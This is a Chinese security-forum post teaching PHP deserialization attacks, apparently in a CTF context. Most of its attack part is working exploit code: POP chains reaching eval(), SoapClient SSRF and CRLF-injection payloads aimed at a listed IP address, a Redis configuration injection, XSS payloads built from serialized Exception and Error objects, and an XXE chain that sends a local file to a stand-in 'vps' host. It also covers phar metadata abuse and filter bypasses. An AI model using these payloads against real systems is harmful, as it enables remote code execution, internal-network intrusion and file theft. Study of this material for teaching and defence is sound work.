安全矩阵

 找回密码
 立即注册
搜索
查看: 5959|回复: 0

反序列化的深入探讨

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-16 21:37:07 | 显示全部楼层 |阅读模式
原文链接:反序列化的深入探讨

序列化概念

序列化就是将一个对象转换成字符串,字符串包括该对象对应的类名,属性个数、属性名、属性值、属性名、值的类型和长度。

反序列化则是将字符串重新恢复成对象,在反序列化一个对象前,这个对象的类必须在解序列化之前定义。

serialize()序列化 unserialize()反序列化
  1. <?php
  2. class Ctf
  3. {


  4. public $flag = 'flag{******}';
  5. public $name = 'mtcz91';
  6. public $age = '10';
  7. public function __sleep(){
  8. return array('flag','age');
  9. }


  10. }
  11. $ctfer = new Ctf();
  12. $ctfer->flag = 'flag{abcdefg}';
  13. $ctfer->name = 'mtcz91';
  14. $ctfer->age = '18';
  15. // $str = serialize($ctfer);
  16. // echo $str;
  17. echo '<br>';
  18. var_dump(unserialize('O:3:"Ctf":1:{s:3:"age";s:2:"18";}'));
  19. ?>
复制代码

  1. O:3:"Ctf":3{s:4:"flag";s:13:"flag{u_are_the_future}";s:4:"name";s:5:"mtcz91";s:3:"age";s:2:"18";}

  2. O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示

  3. 3 代表类名字占三个字符

  4. ctf 类名

  5. 3 代表三个属性

  6. s代表字符串

  7. 4代表属性名长度

  8. flag属性名

  9. s:13:"flag{u_are_the_future}" 字符串 属性值长度 属性值
复制代码


序列化变量类型
  1. a - array                  b - boolean
  2. d - double                 i - integer
  3. o - common object          r - reference
  4. s - string                 C - custom object
  5. O - class                  N - null
  6. R - pointer reference      U - unicode string
复制代码

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。

unserialize() 会检查是否存在一个 __wakeup() 魔术方法,如果存在则会先调用__wakeup()方法在进行反序列化。

可以在__wakeup()方法中对属性进行初始化或者改变,表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

访问控制修饰符
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名

常见的魔术方法触发方式:


  1. 对象被创建时:__construct

  2. 当对象被销毁时:__destruct

  3. 当对象被当作一个字符串使用时:__toString

  4. 序列化对象前使用:__sleep

  5. 反序列化恢复对象前调用:__wakeup

  6. 当调用对象中不存在的方法时自动调用:__call

  7. 从不可访问的属性读取数据:__get

  8. 当把一个对象当作一个函数调用时:__invoke
复制代码
常见的反序列化


  1. 魔术方法中存在可利用代码


  2. 代码如下
复制代码
  1. <?php
  2. class test
  3. {


  4. function __destruct(){
  5. echo "destruct...<br>";
  6. eval($_GET['cmd']);
  7. }


  8. }
  9. unserialize($_GET['u'])
  10. ?>
复制代码
构造test对象的序列化字符串O:4:"test":0:{}


  1. <?php
  2. class test{}
  3. $test = new test;
  4. echo serialize($test);
  5. ?>
复制代码








存在调用其他类方法的代码
  1. <?php
  2. class lemon
  3. {
  4. protected $ClassObj;
  5. function __construct(){
  6. $this->ClassObj = new normal();
  7. }
  8. function __destruct(){
  9. $this->ClassObj->action();
  10. }


  11. }
  12. class normal{
  13. function action(){
  14. echo "hello";
  15. }
  16. }
  17. class evil{
  18. private $data;
  19. function action(){
  20. eval($this->data);
  21. }
  22. }
  23. unserialize($_GET['d']);
  24. ?>
复制代码

在exploit中,我们可以在__construct中将ClassObj换为evil类,然后将evil类的私有属性data赋值为phpinfo()。
O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}

  1. <?php
  2. class lemon
  3. {
  4. protected $ClassObj;
  5. function __construct(){
  6. $this->ClassObj = new evil();
  7. }
  8. function __destruct(){
  9. $this->ClassObj->action();
  10. }


  11. }
  12. class normal{
  13. function action(){
  14. echo "hello";
  15. }
  16. }
  17. class evil{
  18. private $data = "phpinfo();";
  19. function action(){
  20. eval($this->data);
  21. }
  22. }
  23. $test = new lemon;
  24. echo urlencode(serialize($test));
  25. ?>
复制代码






原生类利用

__call方法

  1. <?php
  2. $rce = unserialize($_REQUEST['u']);
  3. echo $rce->notexist();
  4. ?>
复制代码

构造 exploit
  1. <?php
  2. echo serialize(new SoapClient(null, array('uri'=>'http://vps/','location'=>'http://vps/aaa')));
  3. ?>
复制代码





利用crlf

  1. <?php
  2. $rce = unserialize($_REQUEST['u']);
  3. echo $rce->notexist();
  4. ?>
复制代码
构造 exploit

  1. <?php
  2. $poc = "i am evil string...";
  3. $target = "http://47.94.37.154:8080";
  4. $b = new SoapClient(null,array('location'=>$target, 'uri'=>'hello^^'.$poc.'^^hello'));
  5. $aaa = serialize($b);
  6. $aaa = str_replace('^^', "\n\r", $aaa);
  7. echo urlencode($aaa);
  8. ?>
复制代码





进而可以转换为如下两种攻击方式:

1. 构造post数据包来攻击内网HTTP服务,Soap默认头存在Content-Type:text/xml,但可以通过user_agent注入数据,将content-Type挤下,最终请求数据data=abc后的数据在容器处理下会被忽略。


  1. $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));    $aaa = serialize($b);    $aaa = str_replace('^^',"\n\r",$aaa);    echo urlencode($aaa);    ?>
复制代码

2. 构造任意HTTP头来攻击内网其他服务(redis)
`CONFIG SET dir /root/` __toString方法,将对象作为字符串处理时会自动触发。

  1. <?php
  2. $rce = unserialize($_REQUEST['u']);
  3. ?>
复制代码
构造exploit


  1. O%3A9%3A%22Exception%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A37%3A%22%3Cscript%3Ealert%28%2Fhello+world%2F%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A38%3A%22D%3A%5CphpEnv%5Cwww%5Cwww.ctf-sql.com%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A10%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7D%7D
复制代码
  1. <?php
  2. echo urlencode(serialize(new Exception("<script>alert(/hello world/)</script>")));
  3. ?>
复制代码



Error 适用于php 7.0

  1. <?php
  2. $a = new Error("<script>alert(1)</script>");
  3. $b = serialize($a);
  4. echo urlencode($b);
  5. ?>
复制代码


test
  1. <?php
  2. $t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
  3. $c = unserialize($t);
  4. echo $c;
  5. ?>
复制代码
__construct方法
通常情况下无法触发,当可以对任意类实例化时可以触发。
  1. new SimpleXMLElement('http://vps/xxe_evil', LIBXML_NOENT, true)
复制代码



xxe_evil
  1. <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/xxe_read_passwd"> %remote; ]>
  2. </root>
复制代码

xxe_read_passwd
  1. <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/System32/drivers/etc/hosts">
  2. <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://vps/?xxe_local=%payload;'>">
  3. %int;
  4. %trick;
复制代码

读取hosts,只读取了部分文件


phar反序列化

  1. <?php
  2. class demo{
  3. public $t = "Test";
  4. function __destruct(){
  5. echo $this->t."win.";
  6. }
  7. }
  8. file_exists("phar://./demo.phar");
  9. ?>
复制代码
构造phar包
  1. <?php
  2. class demo{
  3. public $t = "Test";
  4. function __destruct(){
  5. echo $this->t."win.";
  6. }
  7. }
  8. $obj = new demo;
  9. $obj->t = "you";
  10. $p = new Phar('./demo.phar',0);
  11. $p->startBuffering();
  12. $p->setMetadata($obj);
  13. $p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
  14. $p->addFromString('test.txt','test');
  15. $p->stopBuffering();
  16. ?>
复制代码





反序列化限制绕过
  1. __wakeup:当属性个数不正确时,php中就不会调用__wakeup(php5-5.6.25、php7-7.0.10)


  2. bypass 反序列化正则

  3. 使用正则/[oc]:\d+:/i进行拦截

  4. 可以用 + 号进行绕过,如O:+4:"demo":1:{s:5:"demoa";a:0:{}}


  5. 反序列化字符逃逸

  6. php在序列化字符串时,会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且php底层是以;作为分割,以}作为结尾。类中不存在的属性也会进行反序列化,就会发生逃逸问题,导致对象注入。


  7. session 反序列化

  8. php默认存在一些session 处理器:php、php_binary、php_serialize 和 wddx。这些处理器都有经过序列化保存值,调用的时候会反序列化。

  9. jarvisoj-web的一道SESSION反序列化题目


  10. php 引用 & 绕过


  11. Exception 绕过
复制代码
参考链接:

    https://www.freebuf.com/articles/web/221213.html

    《从0到1:ctfer成长之路》














回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 16:40 , Processed in 0.014923 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表